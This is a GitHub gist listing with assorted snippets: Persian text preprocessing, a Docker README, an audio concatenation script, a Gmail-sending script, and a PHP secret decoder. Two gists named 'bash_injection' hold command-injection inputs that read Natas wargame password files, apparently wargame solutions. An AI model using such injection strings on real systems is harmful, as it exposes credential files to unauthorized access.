Skip to content

Instantly share code, notes, and snippets.

Avatar

Chris Inskip chrisji

View GitHub Profile
@chrisji
chrisji / preprocessing.py
Created Jun 16, 2021 — forked from m3hrdadfi/preprocessing.py
Persian Text Preprocessing
View preprocessing.py
import hazm
from cleantext import clean
import emoji
import re
normalizer = hazm.Normalizer()
tagger = hazm.POSTagger(model='./resources/postagger.model')
def upper_repl(match):
@chrisji
chrisji / README.md
Last active Nov 20, 2018 — forked from CraigChilds94/README.md
Running Twofishes with Docker
View README.md

Place the Docker Compose config file in the root of a project folder.

Ensure you've got your Docker Machine setup to use a large enough amount of memory, try 8GB.

Then run docker-compose up (or docker-compose up -d to run in detatched state)

Once you've seen the serving http/json on port 8081 message come up, run curl http://0.0.0.0:8081/\?query\=Twatt,Scotland

@chrisji
chrisji / concatenate.sh
Created Mar 13, 2015
Concatenate all m4a files in a directory. 192k bitrate. First argument is the output file name.
View concatenate.sh
#!/bin/bash
for f in *.m4a; do ffmpeg -i "$f" -acodec mp3 -ac 2 -ab 192 "$f.mp3"; done
find . -name '*.mp3' -exec lame --decode '{}' - ';' | lame -b 192 - $1
View bash_injection
. /etc/natas_webpass/natas11 #
View bash_injection
abc dictionary.txt; cat /etc/natas_webpass/natas10 #
View decode_secret.php
<?php
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
function decodeSecret($encodedSecret) {
return base64_decode(strrev(hex2bin($encodedSecret)));
}
@chrisji
chrisji / send_gmail.py
Last active Aug 29, 2015
Send an email, using gmail.
View send_gmail.py
import smtplib
message = 'message'
recipient = 'to_user@gmail.com'
sender = 'from_user@gmail.com'
password = 'password'
session = smtplib.SMTP_SSL('smtp.gmail.com:465')
session.login(sender, password)
session.sendmail(sender, recipient, message)
session.quit()